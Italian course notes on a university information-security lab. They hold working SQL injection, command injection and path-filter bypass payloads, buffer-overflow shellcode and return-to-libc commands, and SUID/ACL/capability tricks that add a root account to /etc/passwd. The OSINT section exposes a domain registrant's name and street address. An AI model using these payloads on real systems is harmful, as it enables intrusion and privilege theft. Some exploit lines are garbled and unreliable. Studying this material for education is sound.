Sicurezza Informatica

Bumma Giuseppe

Contents

1 Laboratorio	2
1.1 Web Security	2
1.1.1 File inclusion	2
1.1.2 Command injection	2
1.1.3 SQL Injection	2
1.2 Binary Exploit	3
1.2.1 Esercizio write_var	3
1.2.2 Esercizio secret_function	3
1.2.3 Shellcode	4
1.2.4 ReturnTolibc	5
1.3 Suricata	6
2 Base64	6
3 Compiti	6
3.1 Privilege escalation alternative	6
3.1.1 Usare find con SUID settato	6
3.1.2 Usare sed con SUID settato	7
3.1.3 ACL	7
3.1.3.1 Testo del professore	7
3.1.4 Capabilities	
3.1.4.1 Testo del professore	8
3.2 OSINT in rete	8
3.2.1 ulis.se	8
3.2.2 wildb0ar.it	. 10
3.3 Password Recovery	. 14
3.4 Cracking e bruteforcing	. 14
3.4.1 Dati i seguenti account recuperare le rispettive passwords	. 14
3.4.2 Scoprire hash	
3.4.3 Cracking es.zip	
3.5 Web pentest Altoro	. 15
3.6 Brute forcing e buffer overflow	. 15
3.6.1 Write var	. 15
3.7 Secret function	. 16
3.8 Shellcode	. 17
3.9 Return to libc	. 18
4 Esami	. 18
4.1 Integrity check e privilege escalation - 9 gennaio 2023	. 18
4.1.1 Testo	
4.1.2 Soluzione	
4.2 Suricata - richiesta a uno specifico sito - Esercizio 10 febbraio 2023	. 19

1 Laboratorio

1.1 Web Security

1.1.1 File inclusion

- Se è impossibile inserire nell'URL una stringa che inizia con "/etc" si può usare la doppia barra //etc/passwd
- Si può baypassare un filtro su "http://" utilizzando delle lettere maiuscole: "Http://"

1.1.2 Command injection

- Si possono usare &&, ||, ; per concatenare dei comandi
 - si possono usare ad esempio al posto dell'argomento che il form si aspetta:
 - || ls
 - & ls
 - | ls
 - Ricordarsi di provare con e senza spazi

1.1.3 SQL Injection

- Bisogna capire quanto colonne ha la query precedente (cioè quella valida per il form)
 - Ad esempio, nell'applicazione DVWA chiede l'id di un utente, noi allora inseriamo una query del tipo
 - 1' UNION SELECT NULL, NULL #

con tanti NULL quante sono le colonne; questo lo si scopre a tentativi; il # serve a commentare tutto ciò che viene dopo, per evitare problemi

- Ora possiamo inserire le query SQL che vogliamo come n-esimo elemento della SELECT (con n numero delle colonne)
 - In DVWA proviamo a reperire le informazioni sul database con
 - 1' UNION SELECT NULL, schema_name FROM information_schema.schemata #
 - ► In questo caso ci restituisce tutti i Name e Surname possibili
 - ▶ Per elencare invece tutte le tabelle:
 - 1' UNION SELECT NULL, table_name FROM information_schema.tables #
 - Prendiamo solo le tabelle con nome "users"
 - 1' UNION SELECT NULL,column_name FROM information_schema.columns WHERE
 table_name="users" #
 - Ora, per scoprire user e password
 - 1' UNION SELECT user, password FROM users #
- Impostando il livello medium in DVWA non possiamo usare gli apici singoli direttamente nella richiesta, quindi li togliamo, e inoltre non possiamo inserire la richiesta direttamente in un form perché non c'è. Quindi utilizziamo burp
 - Intercettiamo la richiesta
 - Codifichiamo la seguente query in formato URL con burp (sezione Decoder)
 - 1 UNION SELECT user, password FROM users #
 - E scriviamo, al posto dell'id nella richiesta HTTP originale, la nostra query codificata

1.2 Binary Exploit

- Comandi di gdb:
 - ▶ b *FUNCTION aggiunge un breakpoint all'inizio della funzione specificata
 - ► run ARGUMENT lancia il programma passando ARGUMENT come parametro
 - ▶ se vogliamo stampare i 200 byte successivi a un determinato registro diamo il comando x/200xw \$REGISTRO, ad esempio x/200xw \$esp
 - ▶ disas FUNCTION stampa il codice assembly risultante dalla traduzione del codice di una determinata funzione, es. disas main
 - info functions stampa gli indirizzi di tutte le funzioni caricate in memoria dal processo, tra le quali si trovano anche tutte le funzioni di librerie utilizzate dal processo
 - info register stampa lo stato attuale dei registri, cioè gli indirizzi che essi contengono

1.2.1 Esercizio write var

• Utilizziamo perl per scrivere esattamente il numero di caratteri che vogliamo come argomento del programma con

```
./es $(perl -e 'print "A"x100')
> con
./es $(perl -e 'print "A"x100, "string"')
concateniamo le due stringhe
```

- Con questo comando lanciamo il programma e gli diamo come argomento una stringa formata da 100 volte il carattere "A"
- Se inseriamo una stringa di 104 "A"

```
./es $(perl -e 'print "A"x104')
```

l'output risulta differente, infatti la variabile control nell'altro caso valeva 3039, ora invece 3000

- Se inseriamo una stringa di 108 "A" la variabile control diventa 41414141, dove 41 è la lettera "A" rappresentata in codice esadecimale secondo ASCII
- Ora sappiamo che dobbiamo inserire una stringa di 108 caratteri per sovrascrivere completamente la variabile control
- Siccome è l'output stesso che ci dice control must be: 0x42434445, proviamo allora a scrivere dentro control questa serie di caratteri
- Siccome sono quattro caratteri, dobbiamo inserire prima 104 caratteri arbitrari, e dopo i quattro caratteri che vogliamo, ricordando però che l'architettura è Little Endian, quindi dobbiamo scrivere "al contrario", in questo modo:

```
./es perl - e 'print "A"x104, "\x45\x44\x43\x42"')
```

• E l'output infatti conferma che quella è la flag giusta

1.2.2 Esercizio secret function

- Come prima (ma usando gdb con il comando gdb es), proviamo a fare un buffer overflow
- Quindi diamo il comando run \$(perl -e 'print "A"x20')
- Con 20 caratteri il programma va già in segmentation fault
- Facendo dei tentativi vediamo che vengono scritti nell'indirizzo di ritorno i 4 caratteri dopo il 16esimo

• Ad esempio, se lanciamo

```
run $(perl -e 'print "A"x16,"BBBB"')
```

- Vediamo dall'output che l'indirizzo di ritorno è stato sovrascritto, e adesso è 0x42424242, cioè "BBBB" in esadecimale
- Ora dobbiamo scrivere al posto dell'indirizzo di ritorno l'indirizzo della funzione vulnerabile, cioè la funzione secret
- Con info function vediamo l'indirizzo della funzione secret, in questo caso è 0x565561b9
- Quindi lanciamo

```
run $(perl -e 'print "A"x16,"\xb9\x61\x55\x56"')
```

1.2.3 Shellcode

- In questo caso, utilizzando il buffer overflow vediamo che i 4 byte dopo il 112 vengono sovrascritti nell'indirizzo di ritorno
- In questo esercizio lo shellcode è già dato (si trova nel file shellcode.txt)
- Se vogliamo controllare la lunghezza dello shellcode diamo

pyhton3

```
>>> len(b'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68')
```

la b sta per binary

- Siccome la lunghezza del nostro shellcode è 46, e il buffer è di 112, riempiamo il payload di 66 caratteri NOP \x90 all'inizio
- Ora dobbiamo capire che indirizzo di ritorno inserire nel payload; per farlo guardiamo il nostro stack con

```
(gdb) x/300xw $esp
```

e troviamo l'indirizzo in cui il nostro shellcode inizia, sfruttando il fatto che la parte di stack in cui è contenuto il codice del nostro shellcode è preceduta da 66 caratteri NOP (nel mio caso l'indirizzo è ffffd210)

```
0×65736963
                                0×68732f73
                                                0×636c6c65
                                                                 0×2f65646f
                                                0×90909090
                                                                 0×90909090
               0×90007365
                                0×90909090
               0×90909090
                                0×90909090
                                                0×90909090
                                                                 0×90909090
               0×90909090
                                0×90909090
                                                0×90909090
                                                                 0×90909090
               0×90909090
                                0×90909090
                                                0×90909090
                                                                 0×90909090
×ffffd210:
               0×90909090
                                0×b0c03190
                                                0×31db3146
                                                                 0×eb80cdc9
               0×c0315b16
                                0×89074388
                                                0×4389085b
                                                                 0×8d0bb00c
               0×538d084b
                                0×e880cd0c
                                                0×ffffffe5
                                                                 0×6e69622f
               0×4268732f
                               0×00424242
                                                0×4f4c4f43
                                                                 0×42474652
Type <RET> for more, q to quit, c to continue without paging-
                                                                 0×4d524554
               0×35313d47
                                0×4300303b
                                                0×524f4c4f
               0×7572743d
                                0×6c6f6365
                                                0×4300726f
                                                                 0×414d4d4f
               0×4e5f444e
                               0×465f544f
                                                0×444e554f
                                                                 0×534e495f
```

• Il comando da lanciare sarà quindi

```
run $(perl -e 'print
"\x90"x66,"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16
\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d
\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69
\x6e\x2f\x73\x68","\x10\xd2\xff\xff"')
```

• Verifichiamo che adesso si è aperta una shell, ma per avere accesso a una shell di root non possiamo lanciare il processo da gdb ma lanciare il binario con il path assoluto

```
/home/kali/lab_exercises/shellcode/es print $$ (yerl -e 'print ''x90''x66, ''x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16 \x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d \x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69 \x6e\x2f\x73\x68", "\x10\xd2\xff\xff\")
```

1.2.4 ReturnTolibc

• In questo caso l'overflow viene scatenato come nell'esercizio precedente, quindi lanciamo il comando

```
(gdb) run $(perl -e 'print "A"x112, "BBBB"')
```

e notiamo che l'indirizzo di ritorno ora è 0x42424242

• Aggiungiamo un breakpoint nel main con

```
(gdm) b *main
```

e lanciamo nuovamente run come prima

• Per prima cosa dobbiamo trovare l'indirizzo della system, quindi scriviamo

```
p system
```

l'indirizzo nel mio caso è 0xf7c4c830

• Troviamo indirizzo di exit con

```
p exit
```

l'indirizzo è 0xf7c3c130

• Troviamo indirizzo della variabile shell dando il comando

```
(gdb) x/500s $esp
```

in questo modo stampiamo gli ultimi 500 caratteri del registro esp in formato "leggibile"; scorriamo (dando invio) fino a trovare l'indirizzo della variabile SHELL

Siccome a noi serve solo il path della shell, cioè la stringa puntata senza "SHELL=" dobbiamo aggiungere 6 byte all'indirizzo evidenziato (usiamo una semplice hexcalc online)

```
ffffd4f4 + 6 = ffffd4fA
```

• Il comando risultante sarà

```
run $(perl -e 'print
"A"x112,"\x30\xc4\xf7","\x30\xc1\xc3\xf7","\xfA\xd4\xff\xff"')
```

Provare gli esercizi di prima compilando senza flag -z execnostack

1.3 Suricata

• Per visualizzare i log in formato j son di suricata si può usare il jq

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type="alert")'
e si può, come in questo caso, specificare anche un filtro (quindi fa una banale grep)
```

2 Base64

- Per il trasferimento di file con HTTP si usa la codifica Base64
- La sequenza di byte viene divisa in unità di 6 bit ciascuna, quindi possiamo avere 64 combinazioni diverse di 0 e 1
- I caratteri possibilmente codificabili sono i cosiddetti caratteri facilmente stampabili, cioè : a-z A-Z 0-9 ./, che sono esattamente 64 caratteri
- Quindi ogni file viene trasferito come una sequenza di caratteri, perché, limitando i caratteri a quelli specificati, siamo sicuri che non vengano trasferiti caratteri speciali
- Ogni carattere viene poi tradotto in ASCII, quindi per ogni 6 bit ne vengono trasferiti 8, perché i caratteri in ASCII sono di 8 bit

3 Compiti

3.1 Privilege escalation alternative

3.1.1 Usare find con SUID settato

• Si setta il SUID di find (da root) con

```
sudo chmod u+s /usr/bin/find
```

Da utente user_test copiamo il /etc/passwd da qualche parte, ad esempio su /tmp

```
cat /etc/passwd > /tmp/passwd
```

• Dopo di che aggiungiamo una nuova entry al file passwd utilizando openssl

```
openssl passwd -1 -salt seclab seclab > new_entry
```

Modifichiamo l'entry in modo tale che sia un formato compatibile con il file /etc/passwd

```
seclab:CONTENUTO DI NEW ENTRY:0:0:/root:/bin/bash
```

- quindi si inserisce seclab: all'inizio del contenuto della entry
- ▶ si appende :0:0:/root:/bin/bash al contenuto della entry
- Aggiungiamo la entry al nostro file temporaneo

```
cat new_entry >> /tmp/passwd
```

• A questo punto possiamo sovrascrivere il file /etc/passwd con il nostro file con l'entry aggiuntiva, sfruttando il fatto che il comando find ha un'opzione per lanciare un comando (binario) con -exec; in particolare dopo -exec ci va il comando da eseguire, le parentesi vengono sostituire con l'output di find, per terminare la stringa del comando da eseguire si inserisce \; come delimitatore

```
cd /tmp/
find passwd -exec cp {} /etc/passwd \;
```

 Ora possiamo loggarci come utente seclab (password seclab) che è un utente con privilegi di root

```
su seclab
password: seclab
whoami
```

3.1.2 Usare sed con SUID settato

• Creiamo una nuova entry per il file /etc/passwd utilizando openssl

```
openssl passwd -1 -salt seclab seclab > new_entry
```

Modifichiamo l'entry in modo tale che sia un formato compatibile con il file /etc/passwd

```
seclab:CONTENUTO_DI_NEW_ENTRY:0:0:/root:/bin/bash
```

- quindi si inserisce seclab: all'inizio del contenuto della entry
- ► si appende :0:0:/root:/bin/bash al contenuto della entry
- Ora basta invocare il comando sed in questo modo

```
sed -i '/bash/a seclab:$1$seclab$QrDuIZTyY9sYfXg33VIfW1:0:0:/root:/bin/bash' /
etc/passwd
```

- ▶ sed di base stampa su stdout, con la flag -i modifichiamo direttamente il file specificato
- ▶ il nostro comando, così scritto, scrive dopo ogni occorrenza della stringa bash, inserita tra / e /a, in una nuova riga la nostra entry che abbiamo creato con openssl
 - si è scelto la stringa bash perché era l'ultima del file /etc/passwd, al suo posto si può scegliere qualsiasi stringa che terima una riga del file

3.1.3 ACL

• Per poter trovare sul file system file con ACL impostate in modo potenzialmente dannoso si può dare il comando

```
getfacl -aR /
```

che ci restituisce la lista dei file con le impstazioni ACL, la flag -R indica di fare una ricerca ricorsiva, quindi possiamo iniziare dalla radice come possiamo iniziare dalla cartella /etc, per magari controllare se qualche utente abbia un accesso particolare al file /etc/passwd

Quindi, ad esempio, possiamo eseguire un comando del tipo

```
getfacl -aR / | grep group:NOMEGRUPPO:rwx
```

che ci restituisce tutti i file per cui tutti gli utenti che fanno parte di NOMEGRUPPO hanno diritto di lettura, scrittura ed esecuzione del file

 Se per caso il file etc/passwd si trova tra questi file possiamo tranquillamente modificarlo, inserendo una entry generata da openssl come fatto precedentemente

3.1.3.1 Testo del professore

• Es. leggibilità e sostituibilità degli hash

```
setfacl -m u:kali:rw /etc/shadow
```

• Es. modificabilità del codice binario di un eseguibile privilegiato

```
setfacl -m u:kali:w /usr/bin/sudo
```

- Notate che alcuni comandi si lamentano se file critici hanno permessi eccessivi, ma non sempre notano le ACL
- Es. ricordando che potete diventare root con "su -" e password che avete scelto,
- Provate da root a rendere modificabile da chiunque il file /etc/sudoers con

```
chmod 666 /etc/sudoers
```

e verificate che da utente kali , sudo non funziona più ripristinando i permessi, e settando una ACL che consenta comunque all'utente sec di modificare a piacimento sudoers

```
chmod 440 /etc/sudoers
setfacl -m u:kali:rw /etc/sudoers
```

verificate che sudo funziona

• Per individuare sul sistema file con ACL impostate, si può utilizzare

```
getfacl -sR /
```

3.1.4 Capabilities

- Con le capabilities "giuste" è semplicissimo eseguire una privilage escalation
- Ad esempio, se diamo al comando nano la capability CAP_DAC_OVERRIDE, che permette di bypassare i controlli sui permessi di lettura, scrittura ed esecuzione dei file

```
sudo setcap CAP_DAC_OVERRIDE=ep /usr/bin/nano
```

qualunque utente che lo esegue potrà tranquillamente andare a modificare il file /etc/passwd

• Quindi, seguendo la classica procedura che utilizza openss\u00a7 per creare una nuova entry per il file, possiamo ottenere i permessi di root

3.1.4.1 Testo del professore

- Le capabilities sono un po' più nascoste dei classici permessi sui file, perché questi ultime possono essere controllati con un classico ls
- Es. eseguibile che ignora la coerenza di ownership tra processo e file

```
sudo setcap CAP_FOWNER=eip /bin/chmod
```

• Es. eseguibile che ignora completamente i permessi

```
sudo setcap CAP_DAC_OVERRIDE=eip /usr/bin/vim.basic
```

- Notate che da vim.basic si può eseguire qualunque comando shell digitando :!COMANDO
- ma se provate a eseguire ad esempio :!cat /etc/shadow non funziona.... questo è merito di bash che "droppa" le capabilities (ma comunque potete aprire direttamente /etc/shadow dall'editor!)
- Per trovare file con capabilities settate, usate

```
getcap -r /
```

3.2 OSINT in rete

3.2.1 ulis.se

- Con un banale ping ulis.se vediamo che l'indirizzo del sito è 130.136.9.27
- Per elencare i subdomain possiamo lanciare il comando dnsmap ulis.se, che ci restituisce

```
dnsmap 0.36 - DNS Network Mapper
```

- [+] searching (sub)domains for ulis.se using built-in wordlist
- [+] using maximum random delay of 10 millisecond(s) between requests

www.utis.se IP address #1: 130.136.9.27				
<pre>[+] 1 (sub)domains and 1 IP address(es [+] completion time: 39 second(s) dnsenumnoreverse ulis.se non ci dice</pre>				
ulis.se				
Host's addresses:				
ulis.se.	546	IN	Α	130.136.9.27
Name Servers:				
ns19.domaincontrol.com. ns20.domaincontrol.com.	18008 18008	IN IN	A A	97.74.109.10 173.201.77.10
Mail (MX) Servers:				
Trying Zone Transfers and getting Bind	d Versions:	_		
Trying Zone Transfer for ulis.se on ne			.com	
Trying Zone Transfer for ulis.se on ne AXFR record query failed: Network is u			.com	
Brute forcing with /usr/share/dnsenum/	dns.txt: (DNS En	umeration)
www.ulis.se. ulis.se.	2627 479	IN IN	CNAME A	ulis.se. 130.136.9.27
ulis.se class C netranges:				

130.136.9.0/24

```
ulis.se ip blocks:
```

130.136.9.27/32

pop3.wildb0ar.it

IP address #1: 62.149.128.164 IP address #2: 62.149.128.152

3.2.2 wildb0ar.it

- Con nslookup scopriamo che il l'indirizzo ip associato al sito è 89.46.110.56

```
• Con dnsmap wildb0ar.it elenchiamo tutti i suoi sottodomini
 dnsmap 0.36 - DNS Network Mapper
 [+] searching (sub)domains for wildb0ar.it using built-in wordlist
 [+] using maximum random delay of 10 millisecond(s) between requests
 admin.wildb0ar.it
 IP address #1: 62.149.188.221
 ftp.wildb0ar.it
 IP address #1: 89.46.104.211
 imap.wildb0ar.it
 IP address #1: 62.149.128.42
 IP address #2: 62.149.128.72
 localhost.wildb0ar.it
 IP address #1: 127.0.0.1
 [+] warning: domain might be vulnerable to "same site" scripting (https://
 seclists.org/bugtraq/2008/Jan/270)
 mail.wildb0ar.it
 IP address #1: 62.149.128.72
 IP address #2: 62.149.128.157
 IP address #3: 62.149.128.160
 IP address #4: 62.149.128.163
 IP address #5: 62.149.128.166
 IP address #6: 62.149.128.151
 IP address #7: 62.149.128.154
 IP address #8: 62.149.128.74
 mx.wildb0ar.it
 IP address #1: 62.149.128.160
 IP address #2: 62.149.128.151
 IP address #3: 62.149.128.154
 IP address #4: 62.149.128.74
 IP address #5: 62.149.128.157
 IP address #6: 62.149.128.163
 IP address #7: 62.149.128.72
 IP address #8: 62.149.128.166
```

IP address #3: 62.149.128.75 IP address #4: 62.149.128.155 IP address #5: 62.149.128.161 IP address #6: 62.149.128.73 IP address #7: 62.149.128.158 IP address #8: 62.149.128.167				
sms.wildb0ar.it IP address #1: 46.234.228.97				
<pre>smtp.wildb0ar.it IP address #1: 62.149.128.202 IP address #2: 62.149.128.200 IP address #3: 62.149.128.203 IP address #4: 62.149.128.201</pre>				
webmail.wildb0ar.it IP address #1: 62.149.158.91 IP address #2: 62.149.158.92				
www.wildb0ar.it IP address #1: 89.46.110.56 Con dnsenumnoreverse wildb0ar.it				
YHost's addresses:				
wildb0ar.it.	3600	IN	Α	89.46.110.56
Name Servers:				
<pre>dns3.arubadns.net. dns2.technorail.com. dns4.arubadns.cz. dns.technorail.com.</pre>	1673 79 1673 79	IN IN IN	A A A	95.110.220.5 95.110.136.8 81.2.216.125 94.177.210.13
Mail (MX) Servers:				
mx.wildb0ar.it. 62.149.128.151	3600	IN	Α	
mx.wildb0ar.it. 62.149.128.166 mx.wildb0ar.it.	3600 3600	IN IN	A A	
62.149.128.160 mx.wildb0ar.it.	3600	IN	A	
62.149.128.157 mx.wildb0ar.it. mx.wildb0ar.it.	3600 3600	IN IN	A A	62.149.128.72 62.149.128.74
mx.wildb0ar.it.	3600	IN	A	

62.149.128.154 mx.wildb0ar.it. 62.149.128.163	3600	IN	Α	
DNS Enumeration:				
admin.wildb0ar.it.	1224	IN	CNAME	
admin.redirect.aruba.it.			_	
admin.redirect.aruba.it.	600	IN	Α	
62.149.188.221			_	
ftp.wildb0ar.it.	1213	IN	A	89.46.104.211
mail.wildb0ar.it.	1211	IN	Α	62.149.128.74
mail.wildb0ar.it.	1211	IN	Α	62.149.128.72
mail.wildb0ar.it.	1211	IN	Α	
62.149.128.154				
mail.wildb0ar.it.	1211	IN	Α	
62.149.128.151				
mail.wildb0ar.it.	1211	IN	Α	
62.149.128.163				
mail.wildb0ar.it.	1211	IN	Α	
62.149.128.157				
mail.wildb0ar.it.	1211	IN	Α	
62.149.128.166				
mail.wildb0ar.it.	1211	IN	Α	
62.149.128.160				
mx.wildb0ar.it.	3543	IN	Α	62.149.128.72
mx.wildb0ar.it.	3543	IN	Α	62.149.128.74
mx.wildb0ar.it.	3543	IN	Α	
62.149.128.154				
mx.wildb0ar.it.	3543	IN	Α	
62.149.128.163				
mx.wildb0ar.it.	3543	IN	Α	
62.149.128.151				
mx.wildb0ar.it.	3543	IN	Α	
62.149.128.166	33 13	2.11	,,	
mx.wildb0ar.it.	3543	IN	Α	
62.149.128.160	33 13	2.11	,,	
mx.wildb0ar.it.	3543	IN	Α	
62.149.128.157	3343	714	A	
smtp.wildb0ar.it.	1200	IN	Α	
62.149.128.203	1200	714	^	
smtp.wildb0ar.it.	1200	IN	Α	
62.149.128.201	1200	TIN	A	
smtp.wildb0ar.it.	1200	IN	Α	
62.149.128.202	1200	TIN	A	
	1200	TN	٨	
smtp.wildb0ar.it.	1200	IN	Α	
62.149.128.200	1107	TNI	٨	60 140 150 01
webmail.wildb0ar.it.	1197	IN	A	62.149.158.91
webmail.wildb0ar.it.	1197	IN	Α	62.149.158.92

IN

Α

1192

www.wildb0ar.it.

89.46.110.56

62.149.128.0/24 62.149.158.0/24 89.46.104.0/24 89.46.110.0/24

• Per scoprire altro possiamo consultare https://centralops.net, inserendo l'indirizzo del nostro sito. Vediamo che il sito ci mostra dei dati relativi a chi ha registrato il dominio, la sua data di scadenza, chi è l'host del sito, etc...

Domain: wildb0ar.it

Status: ok Signed: no

Created: 2020-05-11 12:26:07 Last Update: 2023-05-27 00:54:06

Expire Date: 2024-05-11

Registrant

Organization: Andrea Melis

Address: Via Filippo Beroaldo, 35

Bologna 40127 BO IT

Created: 2020-05-11 12:26:06 Last Update: 2020-05-11 12:26:06

Admin Contact

Name: Andrea Melis Organization: Andrea Melis

Address: Via Filippo Beroaldo, 35

Bologna 40127 BO IT

Created: 2020-05-11 12:26:06 Last Update: 2020-05-11 12:26:06

Technical Contacts

Name: Andrea Melis Organization: Andrea Melis

Address: Via Filippo Beroaldo, 35

Bologna 40127 BO IT

Created: 2020-05-11 12:26:06 Last Update: 2020-05-11 12:26:06 Registrar

Organization: Aruba s.p.a. Name: ARUBA-REG

Web: http://www.aruba.it

DNSSEC: yes

Nameservers

dns.technorail.com
dns2.technorail.com
dns3.arubadns.net
dns4.arubadns.cz

3.3 Password Recovery

• Creiamo una wordlist usando cewl

```
cewl https://ulis.se/ -w ulisse_wordlist.txt
```

- Usiamo rar2john per convertire il file rar da crackare in un file hash
- Lanciamo john con

```
john --wordlist=ulisse_wordlist.txt crack_esercitazione.hash
```

• La password risulta essere cyberchallenge

3.4 Cracking e bruteforcing

3.4.1 Dati i seguenti account recuperare le rispettive passwords

· Lanciamo il comando

```
unshadow /etc/passwd /etc/shadow > brute.txt
```

• Per l'utente tulipano, provando a lanciare john --wordlist=dutch_wordlist brute.txt non riesce a crackare nulla, ma una riga dell'ouput ci dice

```
Warning: only loading hashes of type "md5crypt", but also saw type "sha512crypt"
Use the "--format=sha512crypt" option to force loading hashes of that type instead
```

• Quindi, lanciando

```
john --wordlist=dutch_wordlist --format=sha512crypt brute.txt
riusciamo a scoprire la password, che è betonijzervlechter4
```

3.4.2 Scoprire hash

3.4.3 Cracking es.zip

• Dare il comando

```
zip2john es.zip > es_zip.txt
```

• lanciare john con

```
john es_zip.txt
```

• Scopriamo che la password è batman

3.5 Web pentest Altoro

• SQL injection: scrivere 'OR 1=1 -- nel campo username, come password possiamo scriverne una qualsiasi, tanto viene commentata

3.6 Brute forcing e buffer overflow

3.6.1 Write var

Consegnare un file report.pdf che contenga:

- Payload e screenshot che dimostra la capacità di sovrascrivere la variabile
- Payload e screenshot dell'exploit finale lanciato
- Spiegazione dettagliata di come si è proceduto ad analizzare ed exploitare la vulnerabilità

Payload in gdb:

Payload dato come argomento all'eseguibile:

- Per poter riscrivere la variabile bisogna capire prima la lunghezza minima della stringa da dare come argomento tale per cui il programma da segmentation fault
- Quindi si inizia magari con una stringa di 100 "A", e poi a step di 10, 100 caratteri in più finché il programma non ci da segmentation fault
- Nel mio caso sono arrivato a dare una stringa di 2000 caratteri per scatenare il problema, e poi piano piano ho diminuito la lunghezza
- Ci viene in aiuto anche la stringa di debug che ci dice il valore della variabile control
- Infatti, dando come argomento una stringa lunga 1324 caratteri, vediamo che il valore di control è cambiato: se prima, con stringhe più corte, valeva 3039, adesso con una stringa di 1324 caratteri ha valore 3030; questo è il segnale che la sequenza di caratteri inserita dopo la sequenza di 1324 "A" verrà sovrascritta nella variabile control
- A questo punto dobbiamo costruire la sequenza di caratteri esadecimali con cui sovrascrivere la variabile, ricordando che il formato usato è little endian

3.7 Secret function

Consegnare un file report.pdf che contenga:

- Payload e screenshot che dimostra la capacità di sovrascrivere l'indirizzo di ritorno
- Payload e screenshot dell'exploit finale lanciato
- Spiegazione dettagliata di come si è proceduto ad analizzare ed exploitare la vulnerabilità

Screenshot di gdb:

```
(gdb) run $(perl -e 'print "A"x16,"BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Compiti/secret_function $(perl -e 'print "A"x16,"BBBB"')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0×42424242 in ?? ()
```

- Come prima proviamo a scatenare un segmentation fault
- Dopo pochi tentativi vediamo che per fare ciò basta dare come argomento al programma una stringa di 16 caratteri
- Per controllare che ciò che viene scritto dopo questa sequenza sovrascriva l'indirizzo di ritorno aggiungiamo alle 16 "A" la stringa "BBBB"; si nota che ora l'indirizzo di ritorno è 0x4242424, come ci si aspettava
- Con

```
(gdb) info function
```

vediamo che ci sono diverse funzioni segrete

```
0×565561c9 secret_function_rreal
0×565562fa secret_function_maybe
0×5655642b secret_function_maybe_flag
0×56556583 secret_function_super_rreal
0×565566b4 secret_function_not
0×56556809 secret_function_rr
```

• Per secret_function_rreal

```
run $(perl -e 'print "A"x16,"\xc9\x61\x55\x56"')
```

3.8 Shellcode

Eseguire l'esercizio in due modi:

- usando lo stesso shellcode utilizzato durante l'esercitazione in laboratorio
- usando lo shellcode

```
\xbf\\x16\\x6e\\x8a\\x7c\\xdd\\xc3\\xd4\\x6a\\x68\\x89\\xb2\\x79\\x34\\xeb\\x10\\x18\\xac\\x26\\xf7\\x6d\\xcb\\x51\\xd8\\x1e\\x7c\\xa2\\x4e\\xce\\x1e\\xcb\\xe0\\x99\\x3c\\x59\\x14\\x90\\xc2\\x5e\\xe4\\xd6\\xac\\x3f\\x89\\x7d\\x11\\xed\\x30\\x7e\\x06\\xbe\\x3b\\x9f\\x65\\xc0
```

consegnare un file report.pdf che contenga:

- Payload e screenshot che dimostra la capacità di sovrascrivere l'indirizzo di ritorno
- Payload e screenshot dell'exploit finale lanciato
- Spiegazione dettagliata di come si è proceduto ad analizzare ed exploitare la vulnerabilità
- Con il comando

```
(gdb) run $(perl -e 'print "A"x1512, "BBBB"')
```

riusciamo a sovrascrivere la stringa 0x42424242 come indirizzo di ritorno

- Siccome la lunghezza del nostro shellcode è 46, e il buffer è di 112, riempiamo il payload di 1466 caratteri NOP \x90 all'inizio
- Ora devo controllare l'indirizzo di memoria in cui finisce la sequenza di caratteri NOP e dove inizierebbe lo shellcode
- · Dando il comando

```
run $(perl -e 'print "\x90"x1512,"BBBB"')
```

e controllando cosa viene salvato negli indirizzi di memoria con il comando

```
(gdb) x/800xw $esp
```

si vede che la sequenza di NOP termina all'indirizzo 0xffffd260

Quindi ora si da il comando

```
(gdb) run $(perl -e 'print
"\x90"x1466,"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16
\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08
\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
,"\x60\xd2\xff\xff"')
```

3.9 Return to libc

Consegnare un file report.pdf che contenga:

- Payload e screenshot che dimostra la capacità di sovrascrivere l'indirizzo di ritorno
- Payload e screenshot dell'exploit finale lanciato
- Spiegazione dettagliata di come si è proceduto ad analizzare ed exploitare la vulnerabilità
- L'indirizzo della variabile SHELL è 0xffffd517, quindi per avere la stringa che contenga solo il path dobbiamo aggiungere 6 byte all'indirizzo, ottenendo FFFFD51D
- L'indirizzo di system 0xf7c4c830
- L'indirizzo di exit è 0xf7c3c130

4 Esami

4.1 Integrity check e privilege escalation - 9 gennaio 2023

4.1.1 Testo

Scaricare il file changel e renderlo eseguibile

```
$ chmod +x ./change1
```

Il comando apporta una modifica a un file dentro /usr/bin

Fase 1:

- ideare un modo di identificare il file modificato e il tipo di modifica apportata.
- lanciare sudo ./change1
- attuare la strategia ideata al punto 1 per identificare il file modificato e il tipo di modifica apportata.
- documentare tutti i passi svolti in modo dettagliato nel file integrity.txt

Fase 2: catturate i comandi seguenti e l'output in uno screenshot privesc.png

- usate come utente kali senza sudo il file modificato dal comando change1, per inserire nei file in /etc/passwd ed /etc/shadow le righe opportune per "creare" un utente di nome toor con privilegi di root e senza password (ricordate che esistono le man page)
- da kali diventate toor e lanciate id

4.1.2 Soluzione

Fase 1:

- Per monitorare cambiamenti al file system usiamo AIDE
- Tenendo conto del file di configurazione standard, aggiungiamo la seguente riga a tale file

```
/usr/bin SecLabRule
```

- Lanciamo aideinit, così da creare un database
- Lanciamo il file malevolo con sudo

```
sudo ./change1
```

• E verifichiamo le modifiche con il comando

```
aide -c /etc/aide/aide.conf -C
```

